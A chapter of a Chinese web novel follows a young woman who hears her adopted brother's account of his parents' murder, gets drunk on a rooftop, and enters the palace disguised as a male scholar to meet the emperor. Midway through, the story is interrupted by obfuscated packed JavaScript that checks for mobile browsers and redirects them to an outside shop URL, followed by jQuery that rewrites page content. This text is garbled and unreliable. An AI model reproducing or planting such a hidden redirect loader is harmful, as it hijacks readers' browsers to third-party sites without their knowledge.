40. 第四十章
作品:《被偏执弟弟盯上后》 池九鸣带着她跃上了屋顶,落下的瞬间便松开了揽在腰间的手。
池见月反应过来后,下意识看向他肩上的伤,“你疯了?伤还没好……”
“没事。”池九鸣示意她抬头,“你看。”
明月高悬,清辉遍洒。
虽不像在宗门山崖见得那般圆大,却因站得高,比起在下面看得更真切些。
月华如水,将心头万般思绪都洗涤得清净了几分。
“小时候被我爹揍了,就经常一个人爬到屋顶上看月亮。每次都是我娘拿着糖,哄我下去。”
池见月闻声回头,见他不知何时早已半靠在屋脊上,清冷的月光将他周身镀上一层银辉,半张容颜陷在夜中,看不清神色。
池见月提着酒壶在他身侧坐下,“后来呢?”
这是这么久以来,他第一次主动提起自己的过往。虽说她也从连翘那里了解过大概,却也不清楚他究竟经历过什么。
池九鸣垂下眼,沉默了一会,才轻轻开口:“那夜我跟往常一样,又爬到了屋顶上不肯下去。没多久村里便冲进了一群人马。”
紧接着火光冲天,厮杀声混着村民的哭喊声充斥着整个村庄。他虽躲在屋顶上,却还是被眼尖的山匪看见,将他捉了下来。
那些人毫无人性,并未因他是孩子而放他一马,反而是连捅数刀,看着他慢慢断气。
“若不是侯爷及时赶到,恐怕我早就死了。”
再后来的事,池见月也知道了。山匪被武安侯剿灭,池九鸣无家可归,便跟着武安侯在军营习武,最终被带回了侯府。
直到故事讲完,他的声音都很平淡,甚至提到惨死的父母时,他都没有一丝波澜,冷静得像是在讲述别人的故事。
先是亲眼目睹父母被杀,又经历死里逃生,最后被带回侯府受尽折辱,却也只是养成了这副冷情的模样。
池见月一时竟说不上他究竟是幸还是不幸。
她不知该如何安慰他,她也向来不善于安慰别人。说节哀也好,说好好活下去也罢,到了嘴边,都无一太过苍白。
沉思片刻,她才缓缓开口:“我也有个故事,你想听吗?”
池九鸣有些意外地看向她,点了点头。
“从前有个女孩,自幼父母双亡,有幸被山上的师父捡回,教她习武断字,明辨是非。”
“后来师父的徒弟回来了。他也是被收养的孤儿,只比女孩大了几岁,却已是师门里极厉害的人物了。”
她顿了顿,声音也不自觉柔和了几分。
“大师兄看起来待人温和,可骨子里却总透着一股拒人之外的疏离感。师门里的弟子都敬他,也怕他。只有那个女孩不怕。不管她怎么捉弄,师兄都从未说过一句重话。”
“后来他教她吹笛,画符,捉……恶人。她以为,日子会一直这样过下去。”
“直到一次大战,师兄为了保护她,再也没了踪迹。”
言到深处,她不自觉又灌了一口酒,话音间也多了几分说不清道不明的怅然。
“这是说书先生讲的故事吗?”池九鸣忽然问道。
“什么?”池见月一怔,没明白他的意思。
池九鸣解释道:“总觉得有些耳熟,像是在哪里听过。”
池见月轻笑一声,摇摇晃晃地站起身:“你也觉得,听起来像画本子里的故事?”
她此时酒劲上头,白皙的脸颊烧起一层绯红,说话间带着不自觉的笑意,与素日沉稳持重的模样判若两人。
“你没事吧?”池九鸣起身欲要搀扶。他知道她不胜酒力,却也没想到不过多喝了一口,便醉得这么快。
“我没事。”池见月幽幽地看着他,眼前的人影重重叠叠,她极力地摇头想要看清,却只觉脑中一阵天旋地转,“不对,我有事……”
话音未落,她便两眼一闭,直直往后栽去。
池九鸣眼疾手快,一把扶住了她的手臂。可她醉得厉害,整个人无力地往下滑,他只得伸手揽住她的肩膀,将她半扶半抱地稳在怀中。
“阿姐?”他低头轻唤,目光落在她沉睡的长睫上。
月光下,她的脸近在咫尺。脸颊上的绯红烧至耳尖,呼吸间还带着一股淡淡的酒气。
墨发散落在肩,有几缕搭在他的颈侧,痒痒的,带着清冷的淡香。
--
翌日。
池见月醒来时,只觉头痛欲裂。她缓缓坐起身,才发现身上衣衫未换。
昨夜……
她揉了揉眉心,努力回想昨夜的事。只记得自己在院中饮酒,后来池九鸣来了,带她上屋顶赏月。两人聊了许久,再往后……便什么都记不清了。
幸好她醉酒便晕,没有酒后胡言的机会。
“连翘。”酒劲未褪,身上还有些乏力,连带着声音都软绵无力。
“小姐您醒了?”连翘推门而入。就在她转身关门的瞬间,一缕金光穿过她的裙侧,飞入了屋内。
池见月不动声色地将金光攥入手中:“什么时辰了?”
“回小姐,已是巳时初。”
池见月蹙眉:“怎么没有叫我?”以往辰时刚过,连翘便会来喊她,今日属实有些蹊跷。
“奴婢来的路上碰见了三公子,他叮嘱奴婢说您昨夜睡得晚,不让打扰您休息。”连翘也十分纳闷,三公子怎知小姐昨夜睡得晚,莫非小姐昨夜与他在一起?
“这样……”池见月没有多想,“更衣吧。”
说罢,她趁着连翘传话的空隙,垂眸展开掌心。
符箓上金光流转,凝成几行小字:皇帝已允,速至一方天地。
她将符箓捏碎,指尖一捻,金光霎时消散。
直到洗漱完,池见月的面色仍有些不佳。
连翘看在眼里:“小姐今日气色不大好,要不要再歇一歇?”
“不必。”池见月匆匆换上衣衫,“我出府一趟。”
走到门口时她忽然想起什么,停下脚步,回头吩咐道:“你去告诉三公子一声,就说我有事出门,今日怕是不得空了,改日再陪他。”
连翘心里虽纳闷,却也没多问,只福身应道:“是。”
池九鸣收到消息时,正在院中擦拭着池见月送他的那柄玄剑。
“阿姐出府了?”他手上的动作一顿,“何时出的门?可说了什么事?”
连翘摇头:“小姐出门约莫已有一盏茶的功夫,并未说所为何事。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383336|196674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“知道了。”池九鸣继续擦拭手中长剑,神情淡漠,看不出情绪。
待连翘走后,他将剑递给院中下人:“把剑放回去吧。”
下人接过长剑:“是。”
--
一方天地,雅间。
池见月是从窗口潜入进去的。辞镜见到她时正在喝茶,连呛了好几口。
“师姐,你怎么从这走?”
“附近有你皇子府的眼线。”池见月将帷帽摘下,“说吧,什么事?”
辞镜道:“昨日我按你的吩咐去找皇帝,说祈岁节那夜我遭遇干尸,恰好被你救下。皇帝果然没有起疑,让我今日便带你入宫。衣物我都给你备好了。”
里屋的床榻上叠放着一身男子青衫,还有一双内里加厚的长靴。
池见月正要解开衣衫,一抬眼与辞镜四目相对。
“……你转过身去。”虽说辞镜是女子,可如今却是男人身,她实在过不去心里那道坎。
辞镜:“……”
马车内。
皇子的车厢比寻常马车宽出近一倍,铺着厚厚的灰鼠皮褥。
靠窗的位置设了一张小几,几上一只白瓷香炉正袅袅吐着沉水轻烟,将车厢熏得暖融融的。
辞镜倚在软榻上,叮嘱着进宫事宜:“到了之后,以皇帝的性子,大概不会让我与你一同进殿,到时会有殿中内侍引你进去。”
池见月微微颔首,静静听着。
“难怪都说伴君如伴虎。我虽身为九皇子,颇受圣宠,可来了这么久,却始终没摸透这皇帝的性子。有时见他明明在笑,可下一刻便将人革职打入牢狱,有时看着他是在发怒,却又什么事都没有。”
他上了这么久的朝,满朝上下,能猜中皇帝心思的,除了几位肱股之臣,也就只有太子了。
辞镜一路上又絮絮叨叨说了许多,例如殿中规矩如何、行礼时该说什么。
马车辘辘驶过长街,穿过几道宫门,终于在宫墙深处停了下来。
车帘掀开,一名内侍早已躬身候在车外:“奴才见过九殿下。”
辞镜先下了车,池见月随后。
她一袭青衫在身,长发束起,眉目清隽,加之穿了内增的长靴,站在辞镜身侧,当真是一位清冷出尘的少年郎。
“这位便是青鸾先生。”辞镜向那内侍引荐。
内侍连忙行礼:“青鸾先生,陛下有请。”
辞镜朝池见月使了个眼色,池见月微微颔首,随着内侍往殿中走去。
白玉长殿一眼望不到尽头,两侧立柱高耸,火光昏沉,殿内静得能听到步履摩擦着衣料的声音。
偌大的宫殿空无一人,唯有上方一抹明黄端坐龙椅之上。
内侍在殿中央停下,侧身让出位置,朝她微微颔首,便躬身退了出去。
池见月站在殿中,长身玉立,垂首躬礼:“草民青鸾,见过陛下。”
龙涎香的烟气从铜炉中袅袅升起,在两人之间缓缓浮动,勾起一道若有若无的帘幕。
她虽未抬头,却也能感受到那道目光自她进殿后,便一直压在她的身上。
良久,才听一道声音从高处传来:
“见了朕,为何不跪?”

